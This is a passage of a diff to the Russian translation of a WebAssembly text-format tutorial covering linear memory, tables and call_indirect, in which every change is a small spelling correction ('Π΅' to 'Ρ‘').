ΠŸΠΎΠ»ΡŒΠ·ΡƒΡΡΡŒ этими возмоТностями ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ строку Π²Β  JavaScript, Π΅Ρ‘ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ индСкс ΠΈ Π΅Ρ‘ Π΄Π»ΠΈΠ½Ρƒ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти.</p>
-<p>Π₯отя Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π½Ρ‹Ρ… способов ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π»ΠΈΠ½Ρƒ строки Π² самой строкС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π² строках Π² C); для простоты здСсь ΠΌΡ‹ просто ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ смСщСниС ΠΈ Π΄Π»ΠΈΠ½Ρƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²:</p>
+<p>Π₯отя Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π½Ρ‹Ρ… способов ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π»ΠΈΠ½Ρƒ строки Π² самой строкС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π² строках Π² C); для простоты здСсь ΠΌΡ‹ просто ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ смСщСниС ΠΈ Π΄Π»ΠΈΠ½Ρƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²:</p>
<pre>(import "console" "log" (func $log (param i32) (param i32)))</pre>
@@ -285,7 +285,7 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject)
console.log(string);
}</pre>
-<p>ПослСдний Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π³ΠΎΠ»ΠΎΠ²ΠΎΠ»ΠΎΠΌΠΊΠΈ - это мСсто, Π³Π΄Π΅ функция <code>consoleLogString</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ памяти (<code>memory</code>) WebAssembly. WebAssembly Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ здСсь ΠΌΠ½ΠΎΠ³ΠΎ гибкости: Π»ΠΈΠ±ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory">Memory</a></code> Π² ΠΊΠΎΠ΄Π΅ JavaScript ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly, ΠΈΠ»ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ WebAssembly ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Β  JavaScript.</p>
+<p>ПослСдний Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π³ΠΎΠ»ΠΎΠ²ΠΎΠ»ΠΎΠΌΠΊΠΈ - это мСсто, Π³Π΄Π΅ функция <code>consoleLogString</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ памяти (<code>memory</code>) WebAssembly. WebAssembly Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ здСсь ΠΌΠ½ΠΎΠ³ΠΎ гибкости: Π»ΠΈΠ±ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory">Memory</a></code> Π² ΠΊΠΎΠ΄Π΅ JavaScript ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly, ΠΈΠ»ΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ WebAssembly ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Β  JavaScript.</p>
<p>Для простоты, Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ памяти Π² JavaScript ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π΅Π³ΠΎ Π²Β  WebAssembly ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. НапишСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ объявлСниС ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° <code>(import</code>):</p>
@@ -329,7 +329,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΎΠ±Π·ΠΎΡ€ тСкстового Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° WebAssembly, Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΡΠ°ΠΌΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ ΠΈ Π·Π°ΠΏΡƒΡ‚Π°Π½Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ WebAssembly - <strong>Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</strong>. Π’Π°Π±Π»ΠΈΡ†Ρ‹ - это массивы ссылок измСняСмого Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎ индСксу ΠΈΠ· ΠΊΠΎΠ΄Π° WebAssembly.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Π·Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ сначала ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ инструкция <code>call</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅ (см. {{anch("Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΌΠΎΠ΄ΡƒΠ»Π΅")}}), ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ статичСский индСкс Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Но Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, установлСнным Π²ΠΎ врСмя выполнСния?</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Π·Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ сначала ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ инструкция <code>call</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½Π΅Π΅ (см. {{anch("Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΌΠΎΠ΄ΡƒΠ»Π΅")}}), ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ статичСский индСкс Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Но Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, установлСнным Π²ΠΎ врСмя выполнСния?</p>
<ul>
<li>Β Β Β  Π’ JavaScript это дСлаСтся постоянно: Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ссылочными значСниями.</li>
@@ -339,7 +339,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π² WebAssembly Π½ΡƒΠΆΠ΅Π½ Π±Ρ‹Π» ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ инструкции Π²Ρ‹Π·ΠΎΠ²Π°.Β  ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΌΡ‹ создали ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ <code>call_indirect</code>, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ динамичСской Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°Ρ… Π² WebAssembly, Π² настоящСС врСмя Ρ‚Π°ΠΊΠΈΠ΅: <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code>.</p>
-<p>Для WebAssembly ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏ инструкции Π²Ρ‹Π·ΠΎΠ²Π°Β  <code>anyfunc</code> («любой», ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ эта инструкция смогла Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ любой сигнатуры), Π½ΠΎ, ΠΊ соТалСнию, ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ этого Ρ‚ΠΈΠΏΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранСн Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти ΠΏΠΎ сообраТСниям бСзопасности. ЛинСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ прСдставляСт содСрТимоС Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚ΠΎΠ², ΠΈ это позволяСт содСрТимому wasm ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅ адрСса Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎ нСдопустимо для Π²Π΅Π±.</p>
+<p>Для WebAssembly ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏ инструкции Π²Ρ‹Π·ΠΎΠ²Π°Β  <code>anyfunc</code> («любой», ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ эта инструкция смогла Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ любой сигнатуры), Π½ΠΎ, ΠΊ соТалСнию, ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ этого Ρ‚ΠΈΠΏΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранён Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти ΠΏΠΎ сообраТСниям бСзопасности. ЛинСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ прСдставляСт содСрТимоС Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚ΠΎΠ², ΠΈ это позволяСт содСрТимому wasm ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Π΅ адрСса Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎ нСдопустимо для Π²Π΅Π±.</p>
<p>РСшСниСм стало ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅. Π₯Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылки Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ вмСсто Π½ΠΈΡ… индСксы Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ просто значСниями <code>i32</code>. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ΠΎΠΌ инструкции <code>call_indirect</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ простоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ индСкса <code>i32</code>.</p>
@@ -413,7 +413,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
<p>На языкС высокого уровня, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ JavaScript эти ΠΆΠ΅ дСйствия Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π² Π²ΠΈΠ΄Π΅ манипуляций с массивом (ΠΈΠ»ΠΈ, скорСС, с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ), содСрТащим Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ПсСвдокод Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ: <code>tbl[i]()</code>.</p>
-<p>Π˜Ρ‚Π°ΠΊ, вСрнСмся ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ΅ Ρ‚ΠΈΠΏΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ Π² ΠΊΠΎΠ΄Π΅ WebAssembly ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ Ρ‚ΠΈΠΏΡ‹, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>anyfunc</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ β€œΡΠΈΠ³Π½Π°Ρ‚ΡƒΡ€Π° любой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ", ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡƒΡŽ сигнатуру Π² мСстС Π²Ρ‹Π·ΠΎΠ²Π°, поэтому ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Ρ‚ΠΈΠΏ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>$return_i32</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅, Ρ‡Ρ‚ΠΎ оТидаСтся функция, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π°Ρ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с Ρ‚ΠΈΠΏΠΎΠΌ <code>i32</code>. Если вызываСмая функция Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ сигнатуры (скаТСм, вмСсто Π½Π΅Π΅ возвращаСтся <code>f32</code>), выбросится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("WebAssembly.RuntimeError")}}.</p>
+<p>Π˜Ρ‚Π°ΠΊ, вСрнёмся ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ΅ Ρ‚ΠΈΠΏΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ Π² ΠΊΠΎΠ΄Π΅ WebAssembly ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ Ρ‚ΠΈΠΏΡ‹, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>anyfunc</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ β€œΡΠΈΠ³Π½Π°Ρ‚ΡƒΡ€Π° любой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ", ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡƒΡŽ сигнатуру Π² мСстС Π²Ρ‹Π·ΠΎΠ²Π°, поэтому ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Ρ‚ΠΈΠΏ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>$return_i32</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅, Ρ‡Ρ‚ΠΎ оТидаСтся функция, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π°Ρ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с Ρ‚ΠΈΠΏΠΎΠΌ <code>i32</code>. Если вызываСмая функция Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ сигнатуры (скаТСм, вмСсто Π½Π΅Ρ‘ возвращаСтся <code>f32</code>), выбросится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("WebAssembly.RuntimeError")}}.</p>
<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ инструкция <code>call_indirect</code> связываСтся с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ? ΠžΡ‚Π²Π΅Ρ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ экзСмпляра модуля Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Π°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ инструкция <code>call_indirect</code> выполняСт нСявный Π²Ρ‹Π·ΠΎΠ² ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΈΠ· этой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ использованиС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ‚Π°Π±Π»ΠΈΡ†, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
@@ -453,7 +453,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
<h3 id="Π˜Π·ΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠ΅ΡΡ_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹_ΠΈ_динамичСскоС_связываниС">Π˜Π·ΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠ΅ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ динамичСскоС связываниС</h3>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ ссылкам Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΠΈΠ· ΠΊΠΎΠ΄Π° JavaScript с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">grow()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">get()</a></code> ΠΈ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">set()</a></code>. Когда WebAssembly ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ <a href="http://webassembly.org/docs/gc/">ссылочныС Ρ‚ΠΈΠΏΡ‹</a>, ΠΊΠΎΠ΄ WebAssembly смоТСт ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструкций <code>get_elem</code> / <code>set_elem</code>.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ ссылкам Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ ΠΈΠ· ΠΊΠΎΠ΄Π° JavaScript с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">grow()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">get()</a></code> ΠΈ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">set()</a></code>. Когда WebAssembly ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ <a href="http://webassembly.org/docs/gc/">ссылочныС Ρ‚ΠΈΠΏΡ‹</a>, ΠΊΠΎΠ΄ WebAssembly смоТСт ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструкций <code>get_elem</code> / <code>set_elem</code>.</p>
